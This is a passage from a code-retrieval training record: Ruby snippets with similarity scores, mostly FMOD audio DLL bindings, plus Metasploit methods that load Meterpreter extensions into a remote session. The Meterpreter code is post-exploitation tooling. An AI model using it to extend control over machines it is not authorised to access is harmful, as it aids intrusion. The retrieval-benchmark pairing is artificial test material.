@@lowDLL.import(\"System_GetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_GetNumDrivers\", \"ll\")\n @@lowDLL.import(\"System_GetNumNestedPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetNumPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetOutput\", \"ll\")\n @@lowDLL.import(\"System_GetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_GetOutputHandle\", \"lp\")\n @@lowDLL.import(\"System_GetPluginHandle\", \"llll\")\n @@lowDLL.import(\"System_GetPluginInfo\", \"llllll\")\n @@lowDLL.import(\"System_GetRecordDriverInfo\", \"lllllllll\")\n @@lowDLL.import(\"System_GetRecordNumDrivers\", \"lll\")\n @@lowDLL.import(\"System_GetRecordPosition\", \"lll\")\n @@lowDLL.import(\"System_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_GetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_GetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_GetSoundRAM\", \"llll\")\n @@lowDLL.import(\"System_GetSpeakerModeChannels\", \"lll\")\n @@lowDLL.import(\"System_GetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_GetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetUserData\", \"lp\")\n @@lowDLL.import(\"System_GetVersion\", \"ll\")\n @@lowDLL.import(\"System_Init\", \"llll\")\n @@lowDLL.import(\"System_IsRecording\", \"lll\")\n @@lowDLL.import(\"System_LoadGeometry\", \"lllp\")\n @@lowDLL.import(\"System_LoadPlugin\", \"llll\")\n @@lowDLL.import(\"System_LockDSP\", \"l\")\n @@lowDLL.import(\"System_MixerResume\", \"l\")\n @@lowDLL.import(\"System_MixerSuspend\", \"l\")\n @@lowDLL.import(\"System_PlayDSP\", \"llllp\")\n @@lowDLL.import(\"System_PlaySound\", \"llllp\")\n @@lowDLL.import(\"System_RecordStart\", \"llll\")\n @@lowDLL.import(\"System_RecordStop\", \"ll\")\n @@lowDLL.import(\"System_RegisterCodec\", \"llll\")\n @@lowDLL.import(\"System_RegisterDSP\", \"lll\")\n @@lowDLL.import(\"System_RegisterOutput\", \"lll\")\n @@lowDLL.import(\"System_Release\", \"l\")\n @@lowDLL.import(\"System_Set3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Set3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Set3DRolloffCallback\", \"ll\")\n @@lowDLL.import(\"System_Set3DSettings\", \"llll\")\n @@lowDLL.import(\"System_SetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_SetCallback\", \"lll\")\n @@lowDLL.import(\"System_SetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetDriver\", \"ll\")\n @@lowDLL.import(\"System_SetFileSystem\", \"llllllll\")\n @@lowDLL.import(\"System_SetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkProxy\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_SetOutput\", \"ll\")\n @@lowDLL.import(\"System_SetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_SetPluginPath\", \"ll\")\n @@lowDLL.import(\"System_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_SetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_SetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_SetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_SetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetUserData\", \"ll\")\n @@lowDLL.import(\"System_UnloadPlugin\", \"ll\")\n @@lowDLL.import(\"System_UnlockDSP\", \"l\")\n @@lowDLL.import(\"System_Update\", \"l\")\n \n # Sound\n @@lowDLL.import(\"Sound_AddSyncPoint\", \"llllp\")\n @@lowDLL.import(\"Sound_DeleteSyncPoint\", \"ll\")\n @@lowDLL.import(\"Sound_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Sound_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_GetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_GetFormat\", \"lllll\")\n @@lowDLL.import(\"Sound_GetLength\", \"lll\")\n @@lowDLL.import(\"Sound_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_GetMode\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_GetMusicNumChannels\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_GetName\", \"lll\")\n @@lowDLL.import(\"Sound_GetNumSubSounds\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumSyncPoints\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumTags\", \"lll\")\n @@lowDLL.import(\"Sound_GetOpenState\", \"lllll\")\n @@lowDLL.import(\"Sound_GetSoundGroup\", \"lp\")\n @@lowDLL.import(\"Sound_GetSubSound\", \"llp\")\n @@lowDLL.import(\"Sound_GetSubSoundParent\", \"lp\")\n @@lowDLL.import(\"Sound_GetSyncPoint\", \"llp\")\n @@lowDLL.import(\"Sound_GetSyncPointInfo\", \"llllll\")\n @@lowDLL.import(\"Sound_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Sound_GetTag\", \"llll\")\n @@lowDLL.import(\"Sound_GetUserData\", \"lp\")\n @@lowDLL.import(\"Sound_Lock\", \"lllppll\")\n @@lowDLL.import(\"Sound_ReadData\", \"llll\")\n @@lowDLL.import(\"Sound_Release\", \"l\")\n @@lowDLL.import(\"Sound_SeekData\", \"ll\")\n @@lowDLL.import(\"Sound_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Sound_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_SetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_SetMode\", \"ll\")\n @@lowDLL.import(\"Sound_SetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_SetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_SetSoundGroup\", \"ll\")\n @@lowDLL.import(\"Sound_SetUserData\", \"ll\")\n @@lowDLL.import(\"Sound_Unlock\", \"lllll\")\n \n # Channel\n @@lowDLL.import(\"Channel_AddDSP\", \"lll\")\n @@lowDLL.import(\"Channel_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Channel_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_GetAudibility\", \"ll\")\n @@lowDLL.import(\"Channel_GetChannelGroup\", \"lp\")\n @@lowDLL.import(\"Channel_GetCurrentSound\", \"lp\")\n @@lowDLL.import(\"Channel_GetDSP\", \"llp\")\n @@lowDLL.import(\"Channel_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"Channel_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_GetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"Channel_GetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_GetIndex\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_GetMode\", \"ll\")\n @@lowDLL.import(\"Channel_GetMute\", \"ll\")\n @@lowDLL.import(\"Channel_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"Channel_GetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_GetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_GetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_GetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Channel_GetUserData\", \"lp\")\n @@lowDLL.import(\"Channel_GetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_IsPlaying\", \"ll\")\n @@lowDLL.import(\"Channel_IsVirtual\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_SetCallback\", \"ll\")\n @@lowDLL.import(\"Channel_SetChannelGroup\", \"ll\")\n @@lowDLL.import(\"Channel_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_SetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"Channel_SetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"Channel_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"Channel_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_SetMode\", \"ll\")\n @@lowDLL.import(\"Channel_SetMute\", \"ll\")\n @@lowDLL.import(\"Channel_SetPan\", \"ll\")\n @@lowDLL.import(\"Channel_SetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_SetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_SetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_SetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_SetUserData\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_Stop\", \"l\")\n \n # ChannelGroup\n @@lowDLL.import(\"ChannelGroup_AddDSP\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddGroup\", \"lllp\")\n @@lowDLL.import(\"ChannelGroup_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"ChannelGroup_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetAudibility\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetChannel\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSP\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetGroup\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMixMatrix\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetName\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetNumChannels\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumGroups\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetParentGroup\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_IsPlaying\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Release\", \"l\")\n @@lowDLL.import(\"ChannelGroup_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetCallback\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"ChannelGroup_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"ChannelGroup_SetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPan\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Stop\", \"l\")\n \n # SoundGroup\n @@lowDLL.import(\"SoundGroup_GetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetName\", \"lll\")\n @@lowDLL.import(\"SoundGroup_GetNumPlaying\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetNumSounds\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetSound\", \"llp\")\n @@lowDLL.import(\"SoundGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Release\", \"l\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Stop\", \"l\")\n \n # DSP\n @@lowDLL.import(\"DSP_AddInput\", \"llpl\")\n @@lowDLL.import(\"DSP_DisconnectAll\", \"lll\")\n @@lowDLL.import(\"DSP_DisconnectFrom\", \"lll\")\n @@lowDLL.import(\"DSP_GetActive\", \"ll\")\n @@lowDLL.import(\"DSP_GetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_GetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_GetDataParameterIndex\", \"lll\")\n @@lowDLL.import(\"DSP_GetIdle\", \"ll\")\n @@lowDLL.import(\"DSP_GetInfo\", \"llllll\")\n @@lowDLL.import(\"DSP_GetInput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_GetMeteringInfo\", \"lll\")\n @@lowDLL.import(\"DSP_GetNumInputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumOutputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumParameters\", \"ll\")\n @@lowDLL.import(\"DSP_GetOutput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetOutputChannelFormat\", \"lllllll\")\n @@lowDLL.import(\"DSP_GetParameterBool\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterData\", \"llplll\")\n @@lowDLL.import(\"DSP_GetParameterFloat\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterInfo\", \"llp\")\n @@lowDLL.import(\"DSP_GetParameterInt\", \"lllll\")\n @@lowDLL.import(\"DSP_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"DSP_GetType\", \"ll\")\n @@lowDLL.import(\"DSP_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSP_GetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_Release\", \"l\")\n @@lowDLL.import(\"DSP_Reset\", \"l\")\n @@lowDLL.import(\"DSP_SetActive\", \"ll\")\n @@lowDLL.import(\"DSP_SetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_SetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_SetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterBool\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterData\", \"llll\")\n @@lowDLL.import(\"DSP_SetParameterFloat\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterInt\", \"lll\")\n @@lowDLL.import(\"DSP_SetUserData\", \"ll\")\n @@lowDLL.import(\"DSP_SetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_ShowConfigDialog\", \"lll\")\n \n # DSPConnection\n @@lowDLL.import(\"DSPConnection_GetInput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_GetOutput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetType\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSPConnection_SetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_SetUserData\", \"ll\")\n \n # Geometry\n @@lowDLL.import(\"Geometry_AddPolygon\", \"lllllll\")\n @@lowDLL.import(\"Geometry_GetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_GetMaxPolygons\", \"lll\")\n @@lowDLL.import(\"Geometry_GetNumPolygons\", \"ll\")\n @@lowDLL.import(\"Geometry_GetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_GetPolygonNumVertices\", \"lll\")\n @@lowDLL.import(\"Geometry_GetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_GetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_GetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_GetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_GetUserData\", \"lp\")\n @@lowDLL.import(\"Geometry_Release\", \"l\")\n @@lowDLL.import(\"Geometry_Save\", \"lll\")\n @@lowDLL.import(\"Geometry_SetActive\", \"ll\")\n @@lowDLL.import(\"Geometry_SetPolygonAttributes\", \"lllll\")\n @@lowDLL.import(\"Geometry_SetPolygonVertex\", \"llll\")\n @@lowDLL.import(\"Geometry_SetPosition\", \"ll\")\n @@lowDLL.import(\"Geometry_SetRotation\", \"lll\")\n @@lowDLL.import(\"Geometry_SetScale\", \"ll\")\n @@lowDLL.import(\"Geometry_SetUserData\", \"ll\")\n \n # Reverb3D\n @@lowDLL.import(\"Reverb3D_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_GetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_GetUserData\", \"lp\")\n @@lowDLL.import(\"Reverb3D_Release\", \"l\")\n @@lowDLL.import(\"Reverb3D_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Reverb3D_SetActive\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetProperties\", \"ll\")\n @@lowDLL.import(\"Reverb3D_SetUserData\", \"ll\")\n \n # Debugging functions\n # @@lowDLL.import(\"Debug_Initialize\", \"llll\")\n # @@lowDLL.import(\"File_GetDiskBusy\", \"l\")\n # @@lowDLL.import(\"File_SetDiskBusy\", \"l\")\n # @@lowDLL.import(\"Memory_GetStats\", \"lll\")\n # @@lowDLL.import(\"Memory_Initialize\", \"llllll\")\n end",
"def initialize(lib = nil, flags = DL::RTLD_LAZY | DL::RTLD_GLOBAL)\n #This is a stub, used for indexing\n end",
"def library(lib)\n Dissident::LIBRARIES[self] = lib\n end",
"def library_path\n datastore['DLL']\n end",
"def library(lib)\n case lib.class.to_s\n when 'Array'\n tok = lib\n when 'String'\n tok = lib.split(' ')\n else\n throw \"Invalid value: #{lib.class}\"\n end\n tok.each { |lib| @ldadd.push(lib) unless @ldadd.include?(lib) }\n end",
"def dynamically_linked_libraries(except: :none)\n # The argument except is unused.\n puts if except == :unused\n metadata.dylibs\n end",
"def require( library_name )\n\tbegin\n\t\tMockFS.mock = false\n\t\tsuper\n\t\tMockFS.mock = true\n\trescue LoadError => err\n\t\tMockFS.mock = true\n\t\tfile = library_name\n\t\tfile += '.rb' unless library_name =~ /\\.rb$/\n\t\tif File.exist? file\n\t\t\tcontents = File.open( file ) do |f| f.gets( nil ); end\n\t\t\teval contents\n\t\telse\n\t\t\traise\n\t\tend\n\tend\nend",
"def libfile\n Pathname.new(resource[:lib]).absolute? ? resource[:lib] : \"modules/#{resource[:lib]}\"\n end"
] | [
"0.69298154",
"0.6646499",
"0.5936667",
"0.59313375",
"0.5924729",
"0.5895161",
"0.5886056",
"0.58538085",
"0.5645993",
"0.5627698",
"0.562669",
"0.55462986",
"0.55115515",
"0.55093086",
"0.55093086",
"0.550486",
"0.54829955",
"0.54494536",
"0.54490674",
"0.54165727",
"0.5328873",
"0.532318",
"0.53210944",
"0.5307003",
"0.5275931",
"0.52637225",
"0.5252859",
"0.5236222",
"0.52242756",
"0.5189078"
] | 0.81594586 | 0 |
Loads a meterpreter extension on the remote server instance and initializes the clientside extension handlers Module The module that should be loaded LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine | def use(mod, opts = { })
if mod.nil?
raise RuntimeError, "No modules were specified", caller
end
modnameprovided = mod
suffix = nil
if not client.binary_suffix
suffix = ''
elsif client.binary_suffix.size > 1
client.binary_suffix.each { |s|
if (mod =~ /(.*)\.#{s}/ )
mod = $1
suffix = s
break
end
}
else
suffix = client.binary_suffix.first
end
# Query the remote instance to see if commands for the extension are
# already loaded
commands = get_loaded_extension_commands(mod.downcase)
# if there are existing commands for the given extension, then we can use
# what's already there
unless commands.length > 0
image = nil
path = nil
# If client.sys isn't setup, it's a Windows meterpreter
if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
# Query the payload gem directly for the extension image
image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
else
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MetasploitPayloads.meterpreter_path(modname, suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
end
end
if path.nil? and image.nil?
raise RuntimeError, "No module of the name #{modnameprovided} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'LibraryFileImage' => image,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
end
# wire the commands into the client
client.add_extension(mod, commands)
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cmd_use(*args)\n\t\tif (args.length == 0)\n\t\t\targs.unshift(\"-h\")\n\t\tend\n\n\t\tmodules = nil\n\n\t\t@@use_opts.parse(args) { |opt, idx, val|\n\t\t\tcase opt\n\t\t\t\twhen \"-l\"\n\t\t\t\t\texts = []\n\t\t\t\t\tpath = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')\n\t\t\t\t\t::Dir.entries(path).each { |f|\n\t\t\t\t\t\tif (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\\.#{client.binary_suffix}/ )\n\t\t\t\t\t\t\texts.push($1)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\tprint(exts.sort.join(\"\\n\") + \"\\n\")\n\n\t\t\t\t\treturn true\n\t\t\t\twhen \"-h\"\n\t\t\t\t\tprint(\n\t\t\t\t\t\t\"Usage: use ext1 ext2 ext3 ...\\n\\n\" +\n\t\t\t\t\t\t\"Loads a meterpreter extension module or modules.\\n\" +\n\t\t\t\t\t\t@@use_opts.usage)\n\t\t\t\t\treturn true\n\t\t\tend\n\t\t}\n\n\t\t# Load each of the modules\n\t\targs.each { |m|\n\t\t\tmd = m.downcase\n\n\t\t\tif (extensions.include?(md))\n\t\t\t\tprint_error(\"The '#{md}' extension has already been loaded.\")\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\tprint(\"Loading extension #{md}...\")\n\n\t\t\tbegin\n\t\t\t\t# Use the remote side, then load the client-side\n\t\t\t\tif (client.core.use(md) == true)\n\t\t\t\t\tadd_extension_client(md)\n\t\t\t\tend\n\t\t\trescue\n\t\t\t\tprint_line\n\t\t\t\tlog_error(\"Failed to load extension: #{$!}\")\n\t\t\t\tnext\n\t\t\tend\n\n\t\t\tprint_line(\"success.\")\n\t\t}\n\n\t\treturn true\n\tend",
"def cmd_load(*args)\n if args.length.zero?\n args.unshift(\"-h\")\n end\n\n @@load_opts.parse(args) { |opt, idx, val|\n case opt\n when '-h'\n cmd_load_help\n return true\n end\n }\n\n # Load each of the modules\n args.each { |m|\n md = m.downcase\n\n if extensions.include?(md)\n print_error(\"The '#{md}' extension has already been loaded.\")\n next\n end\n\n print(\"Loading extension #{md}...\")\n\n begin\n # Use the remote side, then load the client-side\n #if (client.core.use(md) == true)\n client.add_extension(md) # NOTE: Doesn't work, going to use core instead\n add_extension_client(md)\n #end\n rescue\n print_line\n log_error(\"Failed to load extension: #{$!}\")\n next\n end\n\n print_line(\"success.\")\n }\n\n return true\n end",
